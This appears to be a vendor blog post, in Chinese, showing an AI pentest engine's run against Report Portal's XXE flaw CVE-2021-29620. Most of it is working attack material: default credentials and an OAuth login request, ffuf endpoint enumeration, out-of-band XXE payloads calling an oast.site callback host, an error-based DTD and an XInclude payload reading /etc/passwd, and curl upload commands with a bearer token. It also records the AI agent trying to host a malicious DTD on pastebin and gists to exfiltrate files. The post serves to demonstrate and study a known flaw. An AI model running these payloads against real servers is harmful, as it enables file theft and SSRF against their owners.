我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

让安全研究自动化:AI 引擎利用 Report Portal XXE 漏洞(CVE-2021-29620)

本文对 Report Portal 中一个带外 XXE 漏洞 CVE-2021-29620 的利用进行了深入的实操分析与概念验证。文章详细说明了 Ostorlab 的 AI 驱动渗透测试引擎如何被用来自动化完成整个流程。

我们把我们的 AI 渗透测试引擎对准了一个已知的复杂 XXE 漏洞,看看它是否真的管用。

我们没有像厂商惯常那样大谈“革命性技术”和“范式转变”,而是决定针对真实的复杂漏洞进行测试——那种传统扫描器经常漏掉的漏洞。

我们将 Ostorlab 的 AI 渗透测试引擎 对准了 Report Portal,专门去寻找 CVE-2021-29620 - 一个自 2021 年起就一直躺在 CVE 数据库中的复杂 XXE 漏洞\。目的不是去发现它(它早已被发现并修复),而是为了回答一个简单的问题:我们的 AI 真的能找到传统扫描器会漏掉的复杂问题吗?

这个 XXE 漏洞之所以有意思,是因为:

  • 它需要复杂的文件上传操作 - 而不仅仅是发送 <![ENTITY]> 然后碰运气
  • 数据外泄通过带外方式发生 - 没有任何错误消息告诉你它成功了
  • 它需要迭代测试 - 要尝试数百种变体才能找到能够触发的那一种,并且需要先找到上传功能并通过身份验证步骤

CVE-2021-29620 就是我们的概念验证。这是一个复杂的、链式的、带外的 XXE 漏洞,需要真正的智能才能找到。而我们的 Ostorlab AI 渗透测试引擎独立地、在没有任何提示的情况下找到了它,就像一个真正的攻击者会做的那样。

在本文接下来的部分,我们将向您精确展示引擎是如何处理这个问题的,以及是什么让它在传统扫描器失败的地方取得了成功:

[*] 记录身份验证流程,以便开展经过身份验证的测试。首要目标是识别登录页面/端点,捕获一个登录请求样本(包括方法、URL、标头和请求体),然后使用所提供的凭据 'default' 和 '1q2w3e' 来确认登录成功。预期结果是获得一套文档化、可重复的流程,用于获取有效会话,包括应用在成功身份验证后所签发的具体会话令牌或 cookie。

位于 http://REDACTED 的 Web 应用的身份验证流程已成功记录。

身份验证流程

  1. 登录页面: 用户会看到一个登录页面,其地址为 http://REDACTED/ui/.

  2. 提交凭据: 用户在所提供的表单中输入其凭据(用户名:'default',密码:'1q2w3e')。

  3. 身份验证请求: 提交后,应用会向以下端点发送一个 POST 请求:http://REDACTED/uat/sso/oauth/token

该请求包含以下内容:

* **方法:** `POST`
* **标头:**
    * `Content-Type`: `application/x-www-form-urlencoded`
    * `Authorization`: `Basic dWk6dWltYW4=`
* **请求体:** `grant_type=password&username=default&password=1q2w3e`
  1. 会话令牌获取: 服务器验证凭据,成功后以一个包含 access_token 的 JSON 对象作为响应。该令牌是一个 JSON Web Token(JWT),在后续请求中充当会话令牌。

响应样本:

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ",
  "token_type": "bearer",
  "refresh_token": "...",
  "expires_in": 86399,
  "scope": "ui"
}
  1. 已认证会话: 应用现已完成身份验证。后续对 API 的所有请求都必须在 Authorization 标头中以 bearer 令牌的形式包含 access_token。

示例: Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

这套文档化的流程提供了一种清晰且可重复的方法来对应用进行身份验证,这对于开展进一步的、经过身份验证的漏洞测试至关重要。

  • Initial navigation to http://REDACTED:
The application redirects to http://REDACTED/ui/
  • Login Page Screenshot:
screenshot_015fb570-7f6c-4298-96ba-9bb6e4cf006b_d22e7233-f4f9-47e6-a188-d9ef303c75e4.png

找到的频道

  • Login Page Content:
The login page contains a form with fields for "Login" and "Password".
  • Login Credentials:
Username: 'default', Password: '1q2w3e'
  • Login Action:
Filled the login and password fields and clicked the 'Login' button.
  • Post-Login Screenshot:
screenshot_015fb570-7f6c-4298-96ba-9bb6e4cf006b_47ed351e-591a-4dcc-8799-84b1876ff475.png

找到的频道

  • Authentication Request:
POST /uat/sso/oauth/token HTTP/1.1
Host: REDACTED
Content-Type: application/x-www-form-urlencoded
Authorization: Basic dWk6dWltYW4=

grant_type=password&username=default&password=1q2w3e
  • Authentication Response:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
...
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ",
  "token_type": "bearer",
  "refresh_token": "...",
  "expires_in": 86399,
  "scope": "ui"
}

应用攻击面

[*] 既然身份验证流程已记录完毕,下一步就是发现应用的攻击面。此任务需要使用已获取的身份验证令牌,系统性地爬取(或蜘蛛式遍历)整个应用。首要目标是识别已认证用户可访问的所有页面、功能和 API 端点,绘制出一张全面的地图,用于在后续任务中定位潜在的 XML 处理功能。

应用的攻击面已成功绘制。我首先使用 ffuf 对目录和文件进行暴力枚举,由此发现了 /health、/info 和 /ui 端点。进一步对 API 层进行模糊测试后,揭示出 /api/v1/api-docs 端点,它提供了一份 Swagger 2.0 JSON 文档。该文档勾勒出整个 API 结构。分析完 API 文档后,我将 /v1/{projectName}/launch/import 端点识别为潜在的 XXE 候选对象,因为它会处理 XML 文件。我还确认了我的用户被分配到 "default_personal" 项目。接下来合乎逻辑的步骤是构造一个恶意 XML 文件,并尝试利用这个导入功能。

  • ffuf_-u_http://REDACTED/FUZZ_-w_agent/tools/wordlists/Web-Content/common.txt_-H_..._output:
"The ffuf scan revealed several endpoints, most of which resulted in 302 redirects. Key findings include the /health, /info, and /ui endpoints, which returned 200 OK status codes, providing valuable information about the application's status, build, and user interface."
  • ffuf_api_v1_fuzzing_output:
"The ffuf scan of the /api/v1/ endpoint discovered the api-docs endpoint, which provided a Swagger 2.0 JSON document. This document is a critical piece of information for understanding the API structure."
  • api-docs_swagger.json:
"The Swagger JSON file provides a comprehensive overview of the available API endpoints, methods, and parameters. Analysis of this file revealed the /v1/{projectName}/launch/import endpoint, which accepts multipart/form-data and processes XML files. This is a prime candidate for XXE vulnerability testing."

恶意 XML 文件

[*] 构造一个包含带内 XXE 载荷的恶意 XML 文件,旨在读取 /etc/passwd 文件。使用 multipart/form-data 请求,并以先前获取的 bearer 令牌进行身份验证,将该文件上传到 /v1/default_personal/launch/import 端点。目标是判断应用的响应中是否包含 /etc/passwd 文件的内容,若包含则可确认存在经典的带内 XXE 漏洞。

该应用存在盲式带外(OOB)XML 外部实体(XXE)注入漏洞。通过构造一个带有指向外部服务器的参数实体的恶意 XML 文件,我成功触发了一次 DNS 回调,从而确认应用的 XML 解析器会处理外部实体。

操作摘要

  1. 初始带内测试: 我首先尝试经典的带内 XXE 攻击,构造了一个 XML 文件来读取 /etc/passwd。服务器响应未包含该文件的内容,表明带内 XXE 不可行。
  2. 使用通用实体的带外测试: 随后我使用通用实体(&xxe;)测试带外 XXE。这没有产生回调,说明通用实体的处理方式不允许带外交互。
  3. 使用参数实体的带外测试: 最后,我使用参数实体(%xxe;)测试带外 XXE。这成功触发了对我的 Interactsh 服务器的 DNS 回调,确认了该盲式 XXE 漏洞。

复现步骤

  1. 启动一个 Interactsh 会话以获取唯一的回调 URL。
  2. 创建一个恶意 XML 文件(例如 malicious-oob-parameter-entity.xml),内容如下,并将 <INTERACTSH_URL> 替换为您的 Interactsh URL:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<INTERACTSH_URL>"> %xxe;]>
<launch name="test" temporary="true">
    <description>test</description>
    <mode>DEFAULT</mode>
</launch>
  1. 向 http://REDACTED/api/v1/default_personal/launch/import 发送一个 POST 请求,附带有效的 bearer 令牌,并将该恶意 XML 文件作为 multipart/form-data 附件。
  2. 在您的 Interactsh 客户端中查看是否收到来自服务器的 DNS 回调。

证据

  • 恶意 XML 载荷: 参见产物 malicious-oob-parameter-entity.xml。
  • cURL 请求: 参见产物 curl-request.txt。
  • Interactsh 回调: 参见产物 interactsh-callback.json。

此漏洞可用于从服务器窃取敏感数据,以及对内部网络发起服务器端请求伪造(SSRF)攻击。由于解析错误,进一步窃取数据的尝试未能成功,但已确认的带外交互足以证明该漏洞的存在。

  • malicious-oob-parameter-entity.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://d29ihorsis9lrbenk1r0ewbi1ts3iecdb.oast.site"> %xxe;]>
<launch name="test" temporary="true">
    <description>test</description>
    <mode>DEFAULT</mode>
</launch>
  • curl-request.txt:
-X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -F "file=@malicious-oob-parameter-entity.xml"
  • interactsh-callback.json:
[
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 57100\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29IHorSIs9lRBEnk1R0Ewbi1ts3IeCDB.oAsT.siTE.\tIN\t A\n",
    "remote_address": "172.253.2.214"
  },
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 27154\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29ihoRsiS9LrbeNK1r0EWBi1Ts3IeCDb.OAST.siTE.\tIN\t AAAA\n",
    "remote_address": "172.253.228.146"
  },
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 22390\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29IhorSIS9lRBENK1r0ewbi1tS3IeCdb.OaSt.siTE.\tIN\t AAAA\n",
    "remote_address": "172.253.13.148"
  },
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 50970\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29IHorSiS9LrBenk1r0EwBI1ts3iECdb.OAST.sITE.\tIN\t AAAA\n",
    "remote_address": "172.253.12.158"
  },
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 41406\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29iHOrSIs9LrbenK1r0eWBi1tS3IeCdB.oast.SITE.\tIN\t AAAA\n",
    "remote_address": "172.253.5.152"
  },
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 38150\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29IHORsis9LrBEnK1r0EwBI1tS3iEcDB.oast.SITe.\tIN\t AAAA\n",
    "remote_address": "172.253.5.147"
  }
]

XXE 带外数据外泄

[*] 既然已通过带外回调确认了盲式 XXE 漏洞,下一个关键步骤就是通过窃取数据来展示其影响。此任务将涉及托管一个恶意的外部 DTD 文件。该 DTD 会被构造为读取服务器上的一个敏感本地文件(例如 /etc/hostname),然后将其内容嵌入 URL 参数中,发送到我们的 OAST 监听器。上传到导入功能的 XML 载荷将被修改为引用这个外部托管的 DTD。预期结果是在 OAST 监听器上收到一个包含被窃取文件内容的 HTTP 请求,从而证明该漏洞可用于数据窃取。

-- 执行任务时遇到错误

[*] 先前使用外部 DTD 窃取数据的尝试失败,是由于工具端的错误,而非目标返回的否定结果。当务之急是重试这个关键操作,以确定已确认的盲式 XXE 漏洞的完整影响。此任务将重建数据窃取的条件:托管一个恶意 DTD,设计用于读取本地文件(/etc/hostname)并将其内容发送到 OAST 监听器。目标是在监听器上收到一个包含服务器主机名的回调,从而确凿地证明该漏洞可用于数据窃取。

-- 通过盲式 XXE 漏洞窃取数据的尝试未能成功。主要障碍在于无法在一个目标应用可访问的外部服务器上托管恶意 DTD 文件。我尝试过使用本地 python 服务器、pastebin 和 github gists,但所有方法都失败了。本地服务器无法从目标应用访问,而我也无法在 pastebin 或 github gists 上创建一个原始的、可公开访问的文件。由于没有办法提供 DTD 文件,我无法构造出窃取数据所需的完整 XXE 载荷。因此,尽管盲式 XXE 漏洞已被确认,我仍无法展示其完整影响。

[*] 由于使用外部 DTD 窃取数据的尝试因环境限制(无法托管可访问的文件)而失败,接下来合乎逻辑的步骤是尝试一种不依赖外部服务器的替代窃取方法。此任务将聚焦于触发基于错误的盲式 XXE。将构造一个带有自包含 DOCTYPE 的恶意 XML 文件,尝试读取本地文件(例如 /etc/passwd),然后用其内容构造一个无效的文件路径,强制触发解析器错误。目标是分析服务器响应中是否有泄露目标文件内容的详细错误消息,从而在无需带外连接的情况下展示数据窃取。

-- 通过基于错误和基于 XInclude 的 XXE 窃取数据的尝试未能成功。虽然盲式带外(OOB)XXE 漏洞已被确认,但由于环境限制和应用特定的解析器行为,通过数据窃取来展示其完整影响颇具挑战。

操作摘要

  1. 基于错误的 XXE 尝试: 我构造了一个带有自包含 DOCTYPE 的恶意 XML 文件,尝试读取 /etc/passwd 并用其内容构造一个无效的文件路径。服务器以一个解析错误作为响应,但并未泄露该文件的内容。相反,错误消息表明参数实体引用的位置不当,从而阻止了这次窃取尝试。

  2. 基于 XInclude 的 XXE 尝试: 随后我使用 XInclude 测试 XXE,这是一种包含外部文件的替代方法。服务器以一条成功消息作为响应,表明文件已被导入。然而,由于没有办法查看导入的数据,无法确认 /etc/passwd 的内容是否被成功包含。

结论

尽管已通过带外交互确认了盲式 XXE 漏洞,但所有窃取数据的尝试都未能成功。基于错误的技术因解析器特定的错误处理而失败,基于 XInclude 的技术则结论不明。由于没有可靠的数据窃取方法,该漏洞的完整影响仍未得到确认。

证据

  • 恶意 XML 载荷: 参见产物 malicious-error-based.xml 和 malicious-xinclude.xml。
  • cURL 请求: 参见产物 curl-error-based-request.txt 和 curl-xinclude-request.txt。
  • 服务器响应: 参见产物 curl-error-based-response.json 和 curl-xinclude-response.json。
  • malicious-error-based.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE launch [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
]>
<launch name="test" temporary="true">
    <description>test</description>
    <mode>DEFAULT</mode>
</launch>
  • curl-error-based-request.txt:
curl -X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -H "Content-Type: multipart/form-data" -F "file=@malicious-error-based.xml"
  • curl-error-based-response.json:
{"errorCode":40035,"message":"Error while importing the file. 'Error during parsing the xml file: 'The parameter entity reference \"%file;\" cannot occur within markup in the internal subset of the DTD.''}"}
  • malicious-xinclude.xml:
<?xml version="1.0" encoding="UTF-8"?>
<launch name="test" temporary="true" xmlns:xi="http://www.w3.org/2001/XInclude">
    <description>
        <xi:include href="file:///etc/passwd" parse="text"/>
    </description>
    <mode>DEFAULT</mode>
</launch>
  • curl-xinclude-request.txt:
curl -X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -H "Content-Type: multipart/form-data" -F "file=@malicious-xinclude.xml"
  • curl-xinclude-response.json:
{"message":"Launch with id = 350b0f87-e4d3-4ddb-93b7-a24ea6dd2755 is successfully imported."}

基于 XInclude 的漏洞利用

[*] 既然一个基于 XInclude 的 XXE 载荷已作为一个 'launch'(ID:350b0f87-e4d3-4ddb-93b7-a24ea6dd2755)被“成功导入”,下一步就是彻底探索 Web 应用的用户界面。目标是定位这些导入的 launch 存储和显示的位置。搜索诸如 'Launches'、'Reports'、'Projects' 之类的区块,或任何列出以往活动的仪表板。目的是查看导入的 launch 的详情,并检查 '/etc/passwd' 的内容是否被渲染在页面上,若是,则可将盲式 XXE 转变为已确认的带内数据泄露。

-- 我已成功探索了 Web 应用的用户界面,以判断基于 XInclude 的 XXE 载荷是否导致了带内数据泄露。我导航到 'Launches' 区块,找到了名为 'malicious-xinclude' 的导入 launch。在检查该 launch 的详情时,我没有发现任何 /etc/passwd 文件内容的迹象。页面显示了一条 "No results found" 消息,表明应用并未渲染所包含的外部实体。因此,我可以得出结论:尽管应用可能对 XInclude 存在漏洞,但这个特定载荷并不会通过用户界面导致带内数据外泄。

  • screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_3479491b-1b22-4a19-816a-7f76b397c856.png:
Login page screenshot
  • screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_330558c7-183d-4dd2-8fdb-2c64dbb67b46.png:
Launches page screenshot
  • screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_0191cba7-023b-4c09-a04a-46ff56d7375b.png:

找到的频道

Launch detail page screenshot

找到的频道

最终报告

>> 最后,AI 生成了一份详尽的报告,说明该漏洞及利用步骤:

找到的频道

标签:

security, AI, POC